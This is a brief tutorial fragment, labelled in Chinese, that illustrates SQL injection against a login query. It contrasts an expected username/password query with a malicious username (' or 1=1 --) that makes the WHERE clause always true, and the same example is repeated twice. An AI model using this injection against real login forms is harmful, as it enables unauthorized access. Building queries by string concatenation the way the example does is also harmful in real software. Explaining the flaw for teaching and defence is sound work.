eg1:
预期
username：doug
password:p@ssord
select count(*)
from users
where username='doug' and password ='p@ssord'
恶意
username：‘ or 1=1 - -
password:
select count(*)
from users
where username=' ' or 1=1 - - and password ='p@ssord'
eg1:
预期
username：doug
password:p@ssord
select count(*)
from users
where username='doug' and password ='p@ssord'
恶意
username：‘ or 1=1 - -
password:
select count(*)
from users
where username=' ' or 1=1 - - and password ='p@ssord'
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